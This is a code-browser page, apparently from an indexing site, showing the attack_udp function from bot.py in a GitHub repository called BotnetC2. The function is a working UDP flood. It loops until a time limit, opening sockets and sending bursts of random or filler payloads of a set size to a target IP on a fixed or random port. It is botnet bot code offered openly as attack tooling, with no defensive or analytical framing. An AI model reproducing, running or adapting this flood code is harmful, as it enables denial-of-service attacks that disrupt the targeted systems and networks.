MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_udp

Function attack_udp

BOTNETc2/bot.py:420–443  ·  view source on GitHub ↗
(ip, port, secs, size,mode)

Source from the content-addressed store, hash-verified

418 scraper.options(url,headers=headers, timeout=15)
419
420def attack_udp(ip, port, secs, size,mode):
421
422 while time.time() < secs:
423
424 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
425 dport = random.randint(1, 65535) if port == 0 else port
426 for _ in range(1500):
427 if mode == "URANDOM":
428 data = random._urandom(size)
429 elif mode == "RANDBYTES":
430 data = random.randbytes(size)
431 elif mode == "OS_URANDOM":
432 data = os.urandom(size)
433 elif mode == "OS_RANDBYTES":
434 data = randbytes(size)
435 elif mode == "PY_BOTNET":
436 data = "A" * size
437 data = data.encode()
438 s.sendto(data, (ip, dport))
439 s.sendto(data, (ip, dport))
440 s.sendto(data, (ip, dport))
441 s.sendto(data, (ip, dport))
442 s.sendto(data, (ip, dport))
443 s.sendto(data, (ip, dport))
444
445def attack_tcp(ip, port, secs, size,mode):
446

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected